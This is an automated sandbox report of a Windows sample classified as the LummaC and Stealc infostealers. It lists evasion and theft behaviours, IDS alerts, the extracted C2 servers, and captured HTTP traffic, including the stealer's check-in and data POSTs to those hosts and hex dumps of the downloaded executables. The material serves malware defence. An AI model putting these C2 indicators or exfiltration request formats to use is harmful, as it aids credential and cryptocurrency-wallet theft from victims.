Edit tour

Windows Analysis Report
pfY4k1qisn.exe

Overview

General Information

Sample name:	pfY4k1qisn.exe renamed because original name is a hash value
Original sample name:	857b0a5b813fc9bbe2f0f6c3a88c608d.exe
Analysis ID:	1579737
MD5:	857b0a5b813fc9bbe2f0f6c3a88c608d
SHA1:	42739a778df370f3cf5b3aab232589787e2b7a39
SHA256:	4530b0fa083b6b606fb915aee48fb2b45fc232560a6ea23c5770eb5e8b4b7e00
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

pfY4k1qisn.exe (PID: 5732 cmdline: "C:\Users\user\Desktop\pfY4k1qisn.exe" MD5: 857B0A5B813FC9BBE2F0F6C3A88C608D)

QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe (PID: 2284 cmdline: "C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe" MD5: 579641D4119C3977AA3E5FDCBB740D8B)

3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe (PID: 5972 cmdline: "C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe" MD5: 59729E914FA8E15D347129643C03AC1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["smash-boiling.cyou", "steppriflej.xyz", "greywe-snotty.cyou", "sendypaster.xyz", "hosue-billowy.cyou", "ripe-blade.cyou", "pollution-raker.cyou", "supporse-comment.cyou", "cuddlyready.xyz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2219846381.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2425662975.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2466975072.0000000000B91000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: pfY4k1qisn.exe PID: 5732	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: pfY4k1qisn.exe PID: 5732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pfY4k1qisn.exe PID: 5732	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe PID: 5972	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe PID: 5972	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:15.287503+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.150.173	443	TCP
2024-12-23T08:23:17.243154+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.150.173	443	TCP
2024-12-23T08:23:19.584430+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.150.173	443	TCP
2024-12-23T08:23:21.821719+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.150.173	443	TCP
2024-12-23T08:23:24.474611+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.150.173	443	TCP
2024-12-23T08:23:26.972862+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	172.67.150.173	443	TCP
2024-12-23T08:23:29.436279+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	172.67.150.173	443	TCP
2024-12-23T08:23:33.101452+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:16.019752+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.150.173	443	TCP
2024-12-23T08:23:18.012267+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.150.173	443	TCP
2024-12-23T08:23:33.882217+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49724	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:16.019752+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:18.012267+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.150.173	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:35.338828+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49731	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:27.728284+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	172.67.150.173	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:23:48.990450+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49763	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: pfY4k1qisn.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.5972.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: pfY4k1qisn.exe.5732.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["smash-boiling.cyou", "steppriflej.xyz", "greywe-snotty.cyou", "sendypaster.xyz", "hosue-billowy.cyou", "ripe-blade.cyou", "pollution-raker.cyou", "supporse-comment.cyou", "cuddlyready.xyz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: pfY4k1qisn.exe	Virustotal: Detection: 54%			Perma Link
Source: pfY4k1qisn.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: pfY4k1qisn.exe

Joe Sandbox ML: detected

Source: pfY4k1qisn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49724 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49763 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49724 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.150.173:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: hosue-billowy.cyou
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: supporse-comment.cyou
Source: Malware configuration extractor	URLs: cuddlyready.xyz

Performs DNS queries to domains with low reputation

Source:

DNS query: cuddlyready.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:23:34 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:23:39 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 42 39 37 37 37 38 31 34 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="hwid"50B9777814D72284582127------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="build"stok------GDGHIDBKJEGIECBGIEHC--

Source: Joe Sandbox View	IP Address: 172.67.150.173 172.67.150.173
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49724 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49731 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=73N40OEGKP597User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12805Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WH3X1ZPNLWSR9L1UNQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15077Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AH4AWD0IYJUGG3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20543Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6JGU4YV51LQE1MJUYI6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1278Host: cuddlyready.xyz
